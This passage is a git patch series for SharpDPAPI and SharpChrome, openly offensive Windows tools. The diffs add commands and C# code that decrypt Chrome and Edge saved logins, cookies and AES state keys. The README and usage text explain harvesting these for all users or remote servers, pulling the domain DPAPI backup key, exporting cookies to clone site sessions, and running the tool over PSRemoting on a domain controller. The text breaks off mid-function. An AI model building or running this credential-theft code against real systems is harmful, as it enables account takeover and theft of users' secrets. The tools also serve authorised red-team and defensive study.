From f47dacdcb368dbf3fba787cbaf1375fcf95f1d39 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Mon, 13 Jul 2020 10:52:45 -0700 Subject: [PATCH 01/60] Version 1.8.0 Added the "search" command to search for DPAPI blobs Removed certificate triage from the machinetriage/triage commands Code cleanup and some refactoring --- CHANGELOG.md | 14 ++++++++++++++ SharpDPAPI/Commands/Machinetriage.cs | 2 +- SharpDPAPI/Commands/Triage.cs | 2 +- SharpDPAPI/Domain/Info.cs | 10 +++++++++- SharpDPAPI/Domain/Version.cs | 2 +- 5 files changed, 26 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a2c3326..1f1f501 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,20 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.8.0] - 2020-07-13 + +### Added +* **SharpDPAPI** project + * Landed @leechristensen's `search` command to search for DPAPI blobs + +### Removed +* **SharpDPAPI** project + * Removed machine/user certificate triage from the `triage` and `machinetriage` commands + +### Changed +* Code cleanup and refactoring + + ## [1.7.0] - 2020-05-06 ### Added diff --git a/SharpDPAPI/Commands/Machinetriage.cs b/SharpDPAPI/Commands/Machinetriage.cs index 6b31b18..37f92dc 100755 --- a/SharpDPAPI/Commands/Machinetriage.cs +++ b/SharpDPAPI/Commands/Machinetriage.cs @@ -31,7 +31,7 @@ public void Execute(Dictionary arguments) Triage.TriageSystemCreds(mappings); Triage.TriageSystemVaults(mappings); - Triage.TriageSystemCerts(mappings); + //Triage.TriageSystemCerts(mappings); } } } diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs index 9fe5ace..d0ce2a0 100755 --- a/SharpDPAPI/Commands/Triage.cs +++ b/SharpDPAPI/Commands/Triage.cs @@ -61,7 +61,7 @@ public void Execute(Dictionary arguments) { Triage.TriageUserCreds(masterkeys, server); Triage.TriageUserVaults(masterkeys, server); - Triage.TriageUserCerts(masterkeys, server); + // Triage.TriageUserCerts(masterkeys, server); Console.WriteLine(); if (masterkeys.Count == 0) { diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index 898d370..bdefdfd 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -22,12 +22,20 @@ public static void ShowUsage() SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk] +The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: + + search /type:registry [/path:HKLM\path\to\key] [/showErrors] + search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] + search /type:file /path:C:\path\to\file [/maxBytes:] + search /type:base64 [/base:] + + Machine/SYSTEM Triage: machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret) machinecredentials - use 'machinemasterkeys' and then triage machine Credential files machinevaults - use 'machinemasterkeys' and then triage machine Vaults - machinecerts - use 'machinemasterkeys' and then triage machine certificate stores + machinecerts - use 'machinemasterkeys' and then triage machine certificate stores machinetriage - run the 'machinecredentials' and 'machinevaults' commands diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 4dc085c..0d7d83f 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.7.0"; + public static string version = "1.8.0"; } } From 5964eebc3e52ef692a43f09cddf6fdfab673e1bf Mon Sep 17 00:00:00 2001 From: harmj0y Date: Wed, 2 Sep 2020 14:14:09 -0700 Subject: [PATCH 02/60] Version 1.9.0 Added Chromium-based Edge support for SharpChrome Added /consoleoutfile support for SharpDPAPI/SharpChrome Added "statekeys" command to SharpChrome Fixed SharpChrome cookie bug for expires times of 0 --- CHANGELOG.md | 15 ++ README.md | 83 +++++--- SharpChrome/Commands/Cookies.cs | 29 ++- SharpChrome/Commands/Logins.cs | 26 ++- SharpChrome/Commands/Statekeys.cs | 88 +++++++++ SharpChrome/Domain/CommandCollection.cs | 1 + SharpChrome/Domain/Info.cs | 31 +-- SharpChrome/Program.cs | 115 +++++++++-- SharpChrome/SharpChrome.csproj | 1 + SharpChrome/lib/Chrome.cs | 242 +++++++++++++++++++----- SharpDPAPI/Domain/Info.cs | 2 +- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/Program.cs | 115 +++++++++-- SharpDPAPI/lib/Helpers.cs | 17 ++ SharpDPAPI/lib/Triage.cs | 1 - 15 files changed, 646 insertions(+), 122 deletions(-) create mode 100644 SharpChrome/Commands/Statekeys.cs diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f1f501..19723a7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,21 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.9.0] - 2020-09-02 + +### Added +* **SharpChrome** project + * Added the ability to target Chromium-based Edge instances for `cookies` and `logins` with `/browser:edge` + * Added the `statekeys` command to triage reachable Chromiun AES state keys. + * Added the ability to supply `/statekey:X` to `cookies` and `logins` commands. + +### Fixed +* **SharpChrome** project + * Cookie expires filtering for 0 values. + +* the **/consoleoutfile** argument to redirect console output to a file, and the public `MainString("command")` function to work over PSRemoting (see end of README.md) + + ## [1.8.0] - 2020-07-13 ### Added diff --git a/README.md b/README.md index 4e547ec..f38f0a0 100755 --- a/README.md +++ b/README.md @@ -8,6 +8,8 @@ The [SharpChrome](#sharpchrome) subproject is an adaptation of work from [@gentilkiwi](https://twitter.com/gentilkiwi) and [@djhohnstein](https://twitter.com/djhohnstein), specifically his [SharpChrome project](https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized. +Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome. + SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License. If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) @@ -49,6 +51,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. * [SharpChrome Commands](#sharpchrome-commands) + [logins](#logins) + [cookies](#cookies) + + [statekeys](#statekeys) + [backupkey](#backupkey-1) * [Compile Instructions](#compile-instructions) + [Targeting other .NET versions](#targeting-other-net-versions) @@ -63,7 +66,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | - v1.7.0 + v1.9.0 @@ -72,12 +75,20 @@ SharpDPAPI is licensed under the BSD 3-Clause license. SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk] + The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: + + search /type:registry [/path:HKLM\path\to\key] [/showErrors] + search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] + search /type:file /path:C:\path\to\file [/maxBytes:] + search /type:base64 [/base:] + + Machine/SYSTEM Triage: machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret) machinecredentials - use 'machinemasterkeys' and then triage machine Credential files machinevaults - use 'machinemasterkeys' and then triage machine Vaults - machinecerts - use 'machinemasterkeys' and then triage machine certificate stores + machinecerts - use 'machinemasterkeys' and then triage machine certificate stores machinetriage - run the 'machinecredentials' and 'machinevaults' commands @@ -109,14 +120,13 @@ SharpDPAPI is licensed under the BSD 3-Clause license. These functions wrap all the other applicable functions that can be automatically run. - #### SharpChrome Command Line Usage __ _ (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ __) | | (_| | |_) \_ | | | (_) | | | (/_ | - v1.6.1 + v1.9.0 Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: @@ -124,29 +134,32 @@ SharpDPAPI is licensed under the BSD 3-Clause license. SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk] - Global arguments for the 'cookies' and 'logins' commands: + Global arguments for the 'cookies', 'logins', and 'statekeys' commands: Decryption: - /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption - /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys - /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) + /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /statekey:X - a decrypted AES state key (from the 'statekeys' command) Targeting: - /target:FILE - triage a specific 'Cookies' or 'Login Data' file location - /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location + /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' Output: - /format:X - either 'csv' (default) or 'table' display - /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /format:X - either 'csv' (default) or 'table' display + /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /consoleoutfile:X - output all console output to a file on disk 'cookies' command specific arguments: - /cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex - /url:"REGEX" - only return cookies where the cookie URL matches the supplied regex + /cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex + /url:"REGEX" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) @@ -175,7 +188,7 @@ SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cooki Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location. -If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. +If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` is specified, for newer Chromium-based Edge browser triage. By default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) Chrome extension for easy reuse. @@ -1177,11 +1190,11 @@ When searching a base64 blob, specify the base64-encoded bytes to scan with the ### logins -The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. +The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. +A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified. By default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`. @@ -1189,11 +1202,11 @@ If run from an elevated context, Login Data files for ALL users will be triaged, ### cookies -The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. +The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. +A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified. By default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`. @@ -1201,6 +1214,14 @@ If run from an elevated context, Cookie files for ALL users will be triaged, oth The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites. +### statekeys + +The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`. + +State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. + +If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed. + ### backupkey The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;) @@ -1211,11 +1232,12 @@ This base64 key blob can be decoded to a binary .pvk file that can then be used By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`. + ## Compile Instructions We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :) -SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "Release", and build. +SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build. ### Targeting other .NET versions @@ -1234,3 +1256,18 @@ SharpDPAPI can then be loaded in a PowerShell script with the following (where " The Main() method and any arguments can then be invoked as follows: [SharpDPAPI.Program]::Main("machinemasterkeys") + +#### Sidenote Sidenote: Running SharpDPAPI Over PSRemoting + +Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that. + +If you follow the instructions in [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script: + + [SharpDPAPI.Program]::MainString("machinemasterkeys") + +You should then be able to run SharpDPAPI over PSRemoting with something like the following: + + $s = New-PSSession dc.theshire.local + Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1 + +Alternatively, SharpDPAPI `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file. diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 072645b..6864789 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -10,7 +10,6 @@ public class Cookies : ICommand public void Execute(Dictionary arguments) { - Console.WriteLine("\r\n[*] Action: Chrome Cookies Triage\r\n"); arguments.Remove("cookies"); string displayFormat = "csv"; // "csv", "table", or "json" display @@ -20,6 +19,15 @@ public void Execute(Dictionary arguments) bool setneverexpire = false; // set cookie output expiration dates to now + 100 years string cookieRegex = ""; // regex to search for specific cookie names string urlRegex = ""; // regex to search for specific URLs for cookies + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); if (arguments.ContainsKey("/format")) { @@ -51,7 +59,13 @@ public void Execute(Dictionary arguments) showAll = true; } - if(showAll) + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } + + if (showAll) { Console.WriteLine("[*] Triaging all cookies, including expired ones."); } @@ -101,11 +115,17 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/target")) { string target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (File.Exists(target)) { Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); - Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex); + Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes); } else { @@ -120,7 +140,8 @@ public void Execute(Dictionary arguments) } else { - Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire); + // last "true" -> indicates we want to triage Edge + Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser); } } } diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index 8c953b1..02bda48 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -10,13 +10,21 @@ public class Logins : ICommand public void Execute(Dictionary arguments) { - Console.WriteLine("\r\n[*] Action: Chrome Saved Logins Triage\r\n"); arguments.Remove("logins"); string displayFormat = "csv"; // "csv" or "table" display string server = ""; // used for remote server specification bool showAll = false; // whether to display entries with null passwords bool unprotect = false; // whether to force CryptUnprotectData() + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); if (arguments.ContainsKey("/format")) { @@ -33,6 +41,12 @@ public void Execute(Dictionary arguments) showAll = true; } + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } + if (arguments.ContainsKey("/server")) { server = arguments["/server"]; @@ -74,11 +88,17 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/target")) { string target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (File.Exists(target)) { Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target); - Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect); + Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes); } else { @@ -93,7 +113,7 @@ public void Execute(Dictionary arguments) } else { - Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect); + Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser); } } } diff --git a/SharpChrome/Commands/Statekeys.cs b/SharpChrome/Commands/Statekeys.cs new file mode 100644 index 0000000..1cff77e --- /dev/null +++ b/SharpChrome/Commands/Statekeys.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpChrome.Commands +{ + public class Statekeys : ICommand + { + public static string CommandName => "statekeys"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Chromium Statekey Extraction\r\n"); + arguments.Remove("cookies"); + + string server = ""; // used for remote server specification + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/unprotect")) + { + unprotect = true; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + string password = arguments["/password"]; + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + if (arguments.ContainsKey("/server")) + { + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); + } + else + { + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); + } + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (File.Exists(target)) + { + Chrome.TriageStateKeys(masterkeys, server, unprotect, target); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Chrome.TriageStateKeys(masterkeys, server, unprotect); + } + } + } + } +} \ No newline at end of file diff --git a/SharpChrome/Domain/CommandCollection.cs b/SharpChrome/Domain/CommandCollection.cs index be7f94e..d951e4f 100755 --- a/SharpChrome/Domain/CommandCollection.cs +++ b/SharpChrome/Domain/CommandCollection.cs @@ -20,6 +20,7 @@ public CommandCollection() _availableCommands.Add(Backupkey.CommandName, () => new Backupkey()); _availableCommands.Add(Logins.CommandName, () => new Logins()); _availableCommands.Add(Cookies.CommandName, () => new Cookies()); + _availableCommands.Add(Statekeys.CommandName, () => new Statekeys()); } public bool ExecuteCommand(string commandName, Dictionary arguments) diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index 87f4236..a2b59b8 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -4,7 +4,7 @@ namespace SharpChrome.Domain { public static class Info { - public static void Logo() + public static void ShowLogo() { Console.WriteLine("\r\n __ _ "); Console.WriteLine(" (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ "); @@ -21,29 +21,32 @@ public static void ShowUsage() SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk] -Global arguments for the 'cookies' and 'logins' commands: +Global arguments for the 'cookies', 'logins', and 'statekeys' commands: Decryption: - /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption - /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys - /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) + /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /statekey:X - a decrypted AES state key (from the 'statekey' command) Targeting: - /target:FILE - triage a specific 'Cookies' or 'Login Data' file location - /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location + /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' Output: - /format:X - either 'csv' (default) or 'table' display - /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /format:X - either 'csv' (default) or 'table' display + /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /consoleoutfile:X - output all console output to a file on disk 'cookies' command specific arguments: - /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex - /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex + /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex + /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) diff --git a/SharpChrome/Program.cs b/SharpChrome/Program.cs index e05be6b..4ae5474 100755 --- a/SharpChrome/Program.cs +++ b/SharpChrome/Program.cs @@ -2,32 +2,123 @@ using System; using System.Collections.Generic; using SQLite; +using System.IO; +using System.Diagnostics; namespace SharpChrome { class Program { - static void Main(string[] args) + private static void FileExecute(string commandName, Dictionary parsedArgs) { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + Stopwatch sw = new Stopwatch(); + sw.Start(); + + Info.ShowLogo(); + try { - Info.Logo(); + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution - // try to parse the command line arguments, show usage on failure and then bail + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + 